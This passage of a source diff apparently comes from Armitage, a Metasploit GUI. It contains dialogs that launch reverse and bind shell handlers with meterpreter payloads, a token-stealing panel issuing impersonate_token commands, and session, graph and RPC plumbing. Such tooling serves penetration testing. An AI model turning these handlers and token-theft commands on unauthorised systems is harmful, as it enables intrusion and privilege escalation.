call($client, "session.shell_write", $sid, "`which printf` \" $+ $string $+ \" >> $+ $name $+ \n");
|
||||||
|
|
||||||
|
$t += strlen($bytes);
|
||||||
|
[$progress setProgress: $t];
|
||||||
|
$n = (ticks() - $start) / 1000.0;
|
||||||
|
if ($n > 0) {
|
||||||
|
[$progress setNote: "Speed: " . round($t / $n) . " bytes/second"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (available($handle) == 0) {
|
||||||
|
closef($handle);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
closef($handle);
|
||||||
|
return;
|
||||||
|
}, \$file, \$sid, \$progress, \$name));
|
||||||
|
}
|
||||||
|
}, \$sid));
|
||||||
|
item($1, "Pass Session", 'S', lambda({
|
||||||
|
launch_dialog("Pass Session", "post", "multi/manage/system_session", 1, $null, %(SESSION => $sid, LPORT => randomPort(), HANDLER => "1"));
|
||||||
|
}, \$sid));
|
||||||
|
}
|
||||||
|
|
||||||
|
item($1, "Post Modules", 'P', lambda({
|
||||||
|
showPostModules($sid);
|
||||||
|
}, \$sid));
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
item($1, "Disconnect", 'D', lambda({
|
||||||
|
call_async($client, "session.stop", $sid);
|
||||||
|
}, \$sid));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createShellSessionTab {
|
||||||
|
local('$console');
|
||||||
|
$console = [new Console: $preferences];
|
||||||
|
logCheck($console, sessionToHost($sid), "shell_ $+ $sid");
|
||||||
|
[$console setDefaultPrompt: '$ '];
|
||||||
|
[$console setPopupMenu: lambda(&shellPopup, \$session, \$sid)];
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
local('%r $thread');
|
||||||
|
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
%r = call($mclient, "armitage.lock", $sid);
|
||||||
|
if (%r["error"]) {
|
||||||
|
showError(%r["error"]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
|
||||||
|
[$frame addTab: "Shell $sid", $console, lambda({
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
call_async($mclient, "armitage.unlock", $sid);
|
||||||
|
}
|
||||||
|
[$thread kill];
|
||||||
|
}, \$sid, \$thread), "Shell " . sessionToHost($sid)];
|
||||||
|
}, \$sid, \$console));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub listen_for_shellz {
|
||||||
|
local('$dialog $port $type $panel $button');
|
||||||
|
$dialog = dialog("Create Listener", 640, 480);
|
||||||
|
|
||||||
|
$port = [new ATextField: randomPort() + "", 6];
|
||||||
|
$type = [new JComboBox: @("shell", "meterpreter")];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new GridLayout: 2, 1]];
|
||||||
|
|
||||||
|
[$panel add: label_for("Port: ", 100, $port)];
|
||||||
|
[$panel add: label_for("Type: ", 100, $type)];
|
||||||
|
|
||||||
|
$button = [new JButton: "Start Listener"];
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('%options');
|
||||||
|
%options["PAYLOAD"] = iff([$type getSelectedItem] eq "shell", "generic/shell_reverse_tcp", "windows/meterpreter/reverse_tcp");
|
||||||
|
%options["LHOST"] = "0.0.0.0";
|
||||||
|
%options["LPORT"] = [$port getText];
|
||||||
|
%options["ExitOnSession"] = "false";
|
||||||
|
call_async($client, "module.execute", "exploit", "multi/handler", %options);
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, \$port, \$type)];
|
||||||
|
|
||||||
|
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: center($button), [BorderLayout SOUTH]];
|
||||||
|
[$dialog pack];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
sub connect_for_shellz {
|
||||||
|
local('$dialog $host $port $type $panel $button');
|
||||||
|
$dialog = dialog("Connect", 640, 480);
|
||||||
|
|
||||||
|
$host = [new ATextField: "127.0.0.1", 20];
|
||||||
|
$port = [new ATextField: randomPort() + "", 6];
|
||||||
|
$type = [new JComboBox: @("shell", "meterpreter")];
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new GridLayout: 3, 1]];
|
||||||
|
|
||||||
|
[$panel add: label_for("Host: ", 100, $host)];
|
||||||
|
[$panel add: label_for("Port: ", 100, $port)];
|
||||||
|
[$panel add: label_for("Type: ", 100, $type)];
|
||||||
|
|
||||||
|
$button = [new JButton: "Connect"];
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('%options');
|
||||||
|
%options["PAYLOAD"] = iff([$type getSelectedItem] eq "shell", "generic/shell_bind_tcp", "windows/meterpreter/bind_tcp");
|
||||||
|
%options["LPORT"] = [$port getText];
|
||||||
|
%options["RHOST"] = [$host getText];
|
||||||
|
warn(%options);
|
||||||
|
call_async($client, "module.execute", "exploit", "multi/handler", %options);
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}, \$dialog, \$port, \$type, \$host)];
|
||||||
|
|
||||||
|
[$dialog add: $panel, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: center($button), [BorderLayout SOUTH]];
|
||||||
|
[$dialog pack];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,445 @@
|
||||||
|
#
|
||||||
|
# this code handles the plumbing behind the nifty targets tab... user code can redefine any of these
|
||||||
|
# functions... so you can use what's here or build your own stuff.
|
||||||
|
#
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
|
||||||
|
import armitage.*;
|
||||||
|
import graph.*;
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
global('%hosts $targets');
|
||||||
|
|
||||||
|
sub getHostOS {
|
||||||
|
return iff($1 in %hosts, %hosts[$1]['os_name'], $null);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub getSessions {
|
||||||
|
return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub sessionToOS {
|
||||||
|
return getHostOS(sessionToHost($1));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub sessionData {
|
||||||
|
local('$host $data');
|
||||||
|
foreach $host => $data (%hosts) {
|
||||||
|
if ('sessions' in $data && $1 in $data['sessions']) {
|
||||||
|
return $data['sessions'][$1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub sessionPlatform {
|
||||||
|
local('$data');
|
||||||
|
$data = sessionData($1);
|
||||||
|
if ('platform' in $data) {
|
||||||
|
return $data['platform'];
|
||||||
|
}
|
||||||
|
return $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub sessionToHost {
|
||||||
|
local('$host $data');
|
||||||
|
foreach $host => $data (%hosts) {
|
||||||
|
if ('sessions' in $data && $1 in $data['sessions']) {
|
||||||
|
return $host;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub refreshSessions {
|
||||||
|
if ($0 ne "result") { return; }
|
||||||
|
|
||||||
|
local('$address $key $session $data @routes @highlights $highlight $id $host $route $mask $peer $gateway %addr');
|
||||||
|
$data = convertAll($3);
|
||||||
|
# warn("&refreshSessions - $data");
|
||||||
|
|
||||||
|
# clear all sessions from the hosts
|
||||||
|
map({ $1['sessions'] = %(); }, values(%hosts));
|
||||||
|
|
||||||
|
foreach $key => $session ($data) {
|
||||||
|
$address = $session['session_host'];
|
||||||
|
$peer = split(':', $session['tunnel_peer'])[0];
|
||||||
|
|
||||||
|
if ($address eq "") {
|
||||||
|
$address = $session['target_host'];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($address eq "") {
|
||||||
|
$address = $peer;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($address !in %hosts) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
%hosts[$address]['sessions'][$key] = $session;
|
||||||
|
%addr[$key] = $address;
|
||||||
|
|
||||||
|
# add a highlight / route for a firewall / NAT device
|
||||||
|
if ($peer ne $address && $peer ne "") {
|
||||||
|
push(@routes, [new Route: $address, "255.255.255.255", $peer]);
|
||||||
|
push(@highlights, @($peer, $address));
|
||||||
|
}
|
||||||
|
|
||||||
|
# save the route information related to this meterpreter session
|
||||||
|
if ($session['routes'] ne "") {
|
||||||
|
foreach $route (split(',', $session['routes'])) {
|
||||||
|
($host, $mask) = split('/', $route);
|
||||||
|
push(@routes, [new Route: $host, $mask, $address]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# setup the highlighted edges
|
||||||
|
foreach $route (@routes) {
|
||||||
|
$gateway = [$route getGateway];
|
||||||
|
foreach $key => $session ($data) {
|
||||||
|
$host = %addr[$key];
|
||||||
|
if ($gateway ne $host && [$route shouldRoute: $host]) {
|
||||||
|
push(@highlights, @($gateway, $host));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[SwingUtilities invokeLater: lambda(&refreshGraph, \@routes, \@highlights, \$graph)];
|
||||||
|
|
||||||
|
return [$graph isAlive];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub refreshGraph {
|
||||||
|
local('$address $key $session $data $highlight $id $host $route $mask');
|
||||||
|
|
||||||
|
# update everything...
|
||||||
|
[$graph start];
|
||||||
|
# update the hosts
|
||||||
|
foreach $id => $host (%hosts) {
|
||||||
|
local('$tooltip');
|
||||||
|
if ('os_match' in $host) {
|
||||||
|
$tooltip = $host['os_match'];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$tooltip = "I know nothing about $id";
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($host['show'] eq "1") {
|
||||||
|
[$graph addNode: $id, describeHost($host), showHost($host), $tooltip];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# update the routes
|
||||||
|
[$graph setRoutes: cast(@routes, ^Route)];
|
||||||
|
|
||||||
|
foreach $highlight (@highlights) {
|
||||||
|
[$graph highlightRoute: $highlight[0], $highlight[1]];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$graph deleteNodes];
|
||||||
|
[$graph end];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _refreshServices {
|
||||||
|
local('$service $host $port');
|
||||||
|
|
||||||
|
# clear all sessions from the hosts
|
||||||
|
map({ $1['services'] = %(); }, values(%hosts));
|
||||||
|
|
||||||
|
foreach $service ($1['services']) {
|
||||||
|
($host, $port) = values($service, @('host', 'port'));
|
||||||
|
%hosts[$host]['services'][$port] = $service;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub refreshServices {
|
||||||
|
if ($0 ne "result") { return; }
|
||||||
|
_refreshServices(convertAll($3));
|
||||||
|
return [$graph isAlive];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub quickParse {
|
||||||
|
if ($1 ismatch '.*? host=(.*?)(?:\s*service=.*?){0,1}\s*type=(.*?)\s+data=\\{(.*?)\\}') {
|
||||||
|
local('$host $type $data %r $key $value');
|
||||||
|
($host, $type, $data) = matched();
|
||||||
|
%r = %(host => $host, type => $type);
|
||||||
|
while ($data hasmatch ':([a-z_]+)\=\>"([^"]+)"') {
|
||||||
|
($key, $value) = matched();
|
||||||
|
%r[$key] = $value;
|
||||||
|
}
|
||||||
|
return %r;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub refreshHosts {
|
||||||
|
if ($0 ne "result") { return; }
|
||||||
|
|
||||||
|
local('$host $data $address %newh @fixes $key $value');
|
||||||
|
$data = convertAll($3);
|
||||||
|
# warn("&refreshHosts - $data");
|
||||||
|
|
||||||
|
foreach $host ($data["hosts"]) {
|
||||||
|
$address = $host['address'];
|
||||||
|
if ($address in %hosts && size(%hosts[$address]) > 1) {
|
||||||
|
%newh[$address] = %hosts[$address];
|
||||||
|
putAll(%newh[$address], keys($host), values($host));
|
||||||
|
|
||||||
|
if ($host['os_name'] eq "") {
|
||||||
|
%newh[$address]['os_name'] = "Unknown";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%newh[$address]['os_match'] = join(" ", values($host, @('os_name', 'os_flavor', 'os_sp')));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$host['sessions'] = %();
|
||||||
|
$host['services'] = %();
|
||||||
|
%newh[$address] = $host;
|
||||||
|
|
||||||
|
if ($host['os_name'] eq "" || $host['os_name'] eq "Unknown") {
|
||||||
|
$host['os_name'] = "Unknown";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
%newh[$address]['os_match'] = join(" ", values($host, @('os_name', 'os_flavor', 'os_sp')));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# we saw this in our hosts, it's ok to show it in the viz.
|
||||||
|
%newh[$address]['show'] = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
%hosts = %newh;
|
||||||
|
return [$graph isAlive];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub auto_layout_function {
|
||||||
|
return lambda({
|
||||||
|
[$graph setAutoLayout: $string];
|
||||||
|
[$preferences setProperty: "graph.default_layout.layout", $string];
|
||||||
|
savePreferences();
|
||||||
|
}, $string => $1, $graph => $2);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub graph_items {
|
||||||
|
local('$a $b $c');
|
||||||
|
|
||||||
|
setupMenu($1, "graph", @());
|
||||||
|
|
||||||
|
$a = menu($1, 'Auto-Layout', 'A');
|
||||||
|
item($a, 'Circle', 'C', auto_layout_function('circle', $2));
|
||||||
|
item($a, 'Hierarchy', 'H', auto_layout_function('hierarchical', $2));
|
||||||
|
item($a, 'Stack', 'S', auto_layout_function('stack', $2));
|
||||||
|
separator($a);
|
||||||
|
item($a, 'None', 'N', auto_layout_function('', $2));
|
||||||
|
|
||||||
|
$b = menu($1, 'Layout', 'L');
|
||||||
|
item($b, 'Circle', 'C', lambda({ [$graph doCircleLayout]; }, $graph => $2));
|
||||||
|
item($b, 'Hierarchy', 'H', lambda({ [$graph doHierarchicalLayout]; }, $graph => $2));
|
||||||
|
item($b, 'Stack', 'S', lambda({ [$graph doStackLayout]; }, $graph => $2));
|
||||||
|
|
||||||
|
$c = menu($1, 'Zoom', 'Z');
|
||||||
|
item($c, 'In', 'I', lambda({ [$graph zoom: 0.25]; }, $graph => $2));
|
||||||
|
item($c, 'Out', 'O', lambda({ [$graph zoom: -0.25]; }, $graph => $2));
|
||||||
|
separator($c);
|
||||||
|
item($c, 'Reset', 'R', lambda({ [$graph resetZoom]; }, $graph => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _importHosts {
|
||||||
|
local('$console $success $file');
|
||||||
|
$success = size($files);
|
||||||
|
foreach $file ($files) {
|
||||||
|
$file = '"' . $file . '"';
|
||||||
|
}
|
||||||
|
|
||||||
|
$console = createDisplayTab("Import", $file => "import");
|
||||||
|
[$console addCommand: $null, "db_import " . join(" ", $files)];
|
||||||
|
[$console addListener: lambda({
|
||||||
|
elog("imported hosts from $success file" . iff($success != 1, "s"));
|
||||||
|
}, \$success)];
|
||||||
|
[$console start];
|
||||||
|
[$console stop];
|
||||||
|
}
|
||||||
|
|
||||||
|
# need to pass this function a $command local...
|
||||||
|
sub importHosts {
|
||||||
|
local('$files $thread $closure');
|
||||||
|
$files = iff(size(@_) > 0, @($1), chooseFile($multi => 1, $always => 1));
|
||||||
|
if ($files is $null || size($files) == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# upload the files please...
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
$closure = lambda(&_importHosts);
|
||||||
|
$thread = [new ArmitageThread: $closure];
|
||||||
|
|
||||||
|
fork({
|
||||||
|
local('$file');
|
||||||
|
foreach $file ($files) {
|
||||||
|
$file = uploadBigFile($file);
|
||||||
|
}
|
||||||
|
$closure['$files'] = $files;
|
||||||
|
[$thread start];
|
||||||
|
}, \$mclient, \$files, \$thread, \$closure);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
thread(lambda(&_importHosts, \$files));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# setHostValueFunction(@hosts, varname, value)
|
||||||
|
# returns a function that when called will update the metasploit database
|
||||||
|
sub setHostValueFunction {
|
||||||
|
return lambda({
|
||||||
|
local('$host %map $key $value');
|
||||||
|
|
||||||
|
while (size(@args) >= 2) {
|
||||||
|
($key, $value) = sublist(@args, 0, 2);
|
||||||
|
%map[$key] = $value;
|
||||||
|
shift(@args);
|
||||||
|
shift(@args);
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach $host (@hosts) {
|
||||||
|
%map['host'] = $host;
|
||||||
|
call_async($mclient, "db.report_host", %map);
|
||||||
|
}
|
||||||
|
}, @hosts => $1, @args => sublist(@_, 1));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub clearHostFunction {
|
||||||
|
return lambda({
|
||||||
|
thread(lambda({
|
||||||
|
local('@hosts2 $host @commands $queue');
|
||||||
|
$queue = [new armitage.ConsoleQueue: $client];
|
||||||
|
@hosts2 = copy(@hosts);
|
||||||
|
while (size(@hosts2) > 0) {
|
||||||
|
[$queue addCommand: $null, "hosts -d " . join(" ", sublist(@hosts2, 0, 20))];
|
||||||
|
|
||||||
|
if (size(@hosts2) > 20) {
|
||||||
|
@hosts2 = sublist(@hosts2, 20);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
@hosts2 = @();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[$queue addCommand: "x", "hosts -h"];
|
||||||
|
[$queue addListener: lambda({
|
||||||
|
elog("removed " . size(@hosts) . iff(size(@hosts) == 1, " host", " hosts"));
|
||||||
|
[$queue stop];
|
||||||
|
}, \@hosts, \$queue)];
|
||||||
|
|
||||||
|
[$queue start];
|
||||||
|
}, \@hosts));
|
||||||
|
}, @hosts => $1);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub clearDatabase {
|
||||||
|
elog("cleared the database");
|
||||||
|
call_async($mclient, "db.clear");
|
||||||
|
}
|
||||||
|
|
||||||
|
# called when a target is clicked on...
|
||||||
|
sub targetPopup {
|
||||||
|
local('$popup');
|
||||||
|
$popup = [new JPopupMenu];
|
||||||
|
|
||||||
|
# no hosts are selected, create a menu related to the graph itself
|
||||||
|
if (size($1) == 0 && [$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
||||||
|
graph_items($popup, $graph);
|
||||||
|
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
||||||
|
}
|
||||||
|
else if (size($1) > 0) {
|
||||||
|
host_selected_items($popup, $1);
|
||||||
|
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub setDefaultAutoLayout {
|
||||||
|
local('$type');
|
||||||
|
$type = [$preferences getProperty: "graph.default_layout.layout", "circle"];
|
||||||
|
[$1 setAutoLayout: $type];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub makeScreenshot {
|
||||||
|
local('$ss');
|
||||||
|
|
||||||
|
if ($graph !is $null) {
|
||||||
|
$ss = [$graph getScreenshot];
|
||||||
|
|
||||||
|
if ($ss !is $null) {
|
||||||
|
[javax.imageio.ImageIO write: $ss, "png", [new java.io.File: getFileProper($1)]];
|
||||||
|
return getFileProper($1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createDashboard {
|
||||||
|
if ($targets !is $null) {
|
||||||
|
[$targets actionPerformed: $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$graph %hosts $console $split $transfer');
|
||||||
|
|
||||||
|
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
||||||
|
setf('&overlay_images', lambda(&overlay_images, $scale => 1.0));
|
||||||
|
$graph = [new NetworkGraph: $preferences];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
setf('&overlay_images', lambda(&overlay_images, $scale => 11.0));
|
||||||
|
$graph = [new NetworkTable: $preferences];
|
||||||
|
}
|
||||||
|
|
||||||
|
# setup the drop portion of our drag and drop...
|
||||||
|
$transfer = [new ui.ModuleTransferHandler];
|
||||||
|
[$transfer setHandler: lambda({
|
||||||
|
local('@temp $type $path $host');
|
||||||
|
@temp = split('/', $1);
|
||||||
|
$type = @temp[0];
|
||||||
|
$path = join('/', sublist(@temp, 1));
|
||||||
|
$host = [$graph getCellAt: $2];
|
||||||
|
if ($host !is $null) {
|
||||||
|
moduleAction($type, $path, @($host));
|
||||||
|
}
|
||||||
|
}, \$graph)];
|
||||||
|
|
||||||
|
|
||||||
|
setDefaultAutoLayout($graph);
|
||||||
|
|
||||||
|
[$frame setTop: createModuleBrowser($graph, $transfer)];
|
||||||
|
|
||||||
|
$targets = $graph;
|
||||||
|
[$targets setTransferHandler: $transfer];
|
||||||
|
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
[new ArmitageTimer: $mclient, "db.hosts", 2.5 * 1000L, lambda(&refreshHosts, \$graph), 1];
|
||||||
|
[new ArmitageTimer: $mclient, "db.services", 10 * 1000L, lambda(&refreshServices, \$graph), 1];
|
||||||
|
[new ArmitageTimer: $mclient, "session.list", 2 * 1000L, lambda(&refreshSessions, \$graph), 1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[new ArmitageTimer: $mclient, "db.hosts", 2.5 * 1000L, lambda(&refreshHosts, \$graph), $null];
|
||||||
|
[new ArmitageTimer: $mclient, "db.services", 10 * 1000L, lambda(&refreshServices, \$graph), $null];
|
||||||
|
[new ArmitageTimer: $mclient, "session.list", 2 * 1000L, lambda(&refreshSessions, \$graph), $null];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$graph setGraphPopup: lambda(&targetPopup, \$graph)];
|
||||||
|
[$graph addActionForKeySetting: "graph.save_screenshot.shortcut", "ctrl pressed P", lambda({
|
||||||
|
local('$location');
|
||||||
|
$location = saveFile2($sel => "hosts.png");
|
||||||
|
if ($location !is $null) {
|
||||||
|
makeScreenshot($location);
|
||||||
|
}
|
||||||
|
}, \$graph)];
|
||||||
|
|
||||||
|
let(&makeScreenshot, \$graph);
|
||||||
|
}
|
|
@ -0,0 +1,79 @@
|
||||||
|
#
|
||||||
|
# Token Stealing...
|
||||||
|
#
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
sub updateTokenList {
|
||||||
|
local('$queue');
|
||||||
|
$queue = [new armitage.ConsoleQueue: $client];
|
||||||
|
[$queue addCommand: $null, "use post/windows/gather/enum_domain_tokens"];
|
||||||
|
[$queue addCommand: $null, "set SESSION $1"];
|
||||||
|
[$queue addCommand: "x", "run"];
|
||||||
|
|
||||||
|
[$3 setEnabled: 0];
|
||||||
|
[$3 setText: "Grabbing tokens..."];
|
||||||
|
|
||||||
|
[$queue addListener: lambda({
|
||||||
|
local('@rows $row');
|
||||||
|
|
||||||
|
@rows = parseTextTable($3, @("Token Type", "Account Type", "Name", "Domain Admin"));
|
||||||
|
[$model clear: size(@rows)];
|
||||||
|
foreach $row (@rows) {
|
||||||
|
[$model addEntry: $row];
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
[$refresh setEnabled: 1];
|
||||||
|
[$refresh setText: "Refresh"];
|
||||||
|
}, \$refresh));
|
||||||
|
|
||||||
|
[$queue stop];
|
||||||
|
}, $model => $2, $refresh => $3, \$queue)];
|
||||||
|
[$queue start];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub stealToken {
|
||||||
|
local('$dialog $table $model $steal $revert $whoami $refresh');
|
||||||
|
$dialog = [new JPanel];
|
||||||
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
($table, $model) = setupTable("Name", @("Token Type", "Account Type", "Name", "Domain Admin"), @());
|
||||||
|
[$table setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||||
|
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$steal = [new JButton: "Steal Token"];
|
||||||
|
[$steal addActionListener: lambda({
|
||||||
|
local('$value');
|
||||||
|
$value = [$model getSelectedValue: $table];
|
||||||
|
oneTimeShow("impersonate_token");
|
||||||
|
m_cmd($sid, "impersonate_token ' $+ $value $+ '");
|
||||||
|
}, $sid => $1, \$table, \$model)];
|
||||||
|
|
||||||
|
$revert = [new JButton: "Revert to Self"];
|
||||||
|
[$revert addActionListener: lambda({
|
||||||
|
oneTimeShow("getuid");
|
||||||
|
m_cmd($sid, "rev2self");
|
||||||
|
m_cmd($sid, "getuid");
|
||||||
|
}, $sid => $1)];
|
||||||
|
|
||||||
|
$whoami = [new JButton: "Get UID"];
|
||||||
|
[$whoami addActionListener: lambda({
|
||||||
|
oneTimeShow("getuid");
|
||||||
|
m_cmd($sid, "getuid");
|
||||||
|
}, $sid => $1)];
|
||||||
|
|
||||||
|
$refresh = [new JButton: "Refresh"];
|
||||||
|
[$refresh addActionListener: lambda({
|
||||||
|
updateTokenList($sid, $model, $refresh);
|
||||||
|
}, $sid => $1, \$model, \$refresh)];
|
||||||
|
|
||||||
|
updateTokenList($1, $model, $refresh);
|
||||||
|
|
||||||
|
[$dialog add: center($steal, $revert, $whoami, $refresh), [BorderLayout SOUTH]];
|
||||||
|
[$frame addTab: "Tokens $1", $dialog, $null, "Tokens " . sessionToHost($1)];
|
||||||
|
}
|
|
@ -0,0 +1,587 @@
|
||||||
|
#
|
||||||
|
# Utility Functions for Armitage
|
||||||
|
#
|
||||||
|
|
||||||
|
import console.*;
|
||||||
|
import armitage.*;
|
||||||
|
import msf.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
global('$MY_ADDRESS $RPC_CONSOLE');
|
||||||
|
|
||||||
|
sub call_async {
|
||||||
|
if (size(@_) > 2) {
|
||||||
|
[$1 execute_async: $2, cast(sublist(@_, 2), ^Object)];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$1 execute_async: $2];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# invokes an RPC call: call($console, "function", arg1, arg2, ...)
|
||||||
|
sub call {
|
||||||
|
local('$exception');
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (size(@_) > 2) {
|
||||||
|
return convertAll([$1 execute: $2, cast(sublist(@_, 2), ^Object)]);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return convertAll([$1 execute: $2]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
#showError("Something went wrong:\nTried: ". @_ . "\n\nError:\n $+ $exception");
|
||||||
|
showError("Something went wrong:\n $+ $2 $+ \n\nError:\n $+ $exception");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# recurses through Java/Sleep data structures and makes sure everything is a Sleep data structure.
|
||||||
|
sub convertAll {
|
||||||
|
if ($1 is $null) {
|
||||||
|
return $1;
|
||||||
|
}
|
||||||
|
else if ($1 isa ^Map) {
|
||||||
|
return convertAll(copy([SleepUtils getHashWrapper: $1]));
|
||||||
|
}
|
||||||
|
else if ($1 isa ^Collection) {
|
||||||
|
return convertAll(copy([SleepUtils getArrayWrapper: $1]));
|
||||||
|
}
|
||||||
|
else if (-isarray $1 || -ishash $1) {
|
||||||
|
local('$key $value');
|
||||||
|
|
||||||
|
foreach $key => $value ($1) {
|
||||||
|
$value = convertAll($value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $1;
|
||||||
|
}
|
||||||
|
|
||||||
|
# cleans the prompt text from an MSF RPC call
|
||||||
|
sub cleanText {
|
||||||
|
return tr($1, "\x01\x02", "");
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createDisplayTab {
|
||||||
|
local('$console $host $queue $file');
|
||||||
|
$queue = [new ConsoleQueue: $client];
|
||||||
|
$console = [new Console: $preferences];
|
||||||
|
[$queue setDisplay: $console];
|
||||||
|
[new QueueTabCompletion: $console, $queue];
|
||||||
|
logCheck($console, iff($host, $host, "all"), iff($file, $file, strrep($1, " ", "_")));
|
||||||
|
[$frame addTab: $1, $console, lambda({ [$queue destroy]; }, \$queue)];
|
||||||
|
return $queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
# creates a new metasploit console (with all the trimmings)
|
||||||
|
sub createConsolePanel {
|
||||||
|
local('$console $result $thread $1');
|
||||||
|
$console = [new Console: $preferences];
|
||||||
|
|
||||||
|
$result = call($client, "console.create");
|
||||||
|
$thread = [new ConsoleClient: $console, $client, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||||
|
[$thread setMetasploitConsole];
|
||||||
|
|
||||||
|
[$thread setSessionListener: {
|
||||||
|
local('$session $sid');
|
||||||
|
$sid = [$1 getActionCommand];
|
||||||
|
$session = sessionData($sid);
|
||||||
|
if ($session is $null) {
|
||||||
|
showError("Session $sid does not exist");
|
||||||
|
}
|
||||||
|
else if ($session['desc'] eq "Meterpreter") {
|
||||||
|
createMeterpreterTab($sid);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
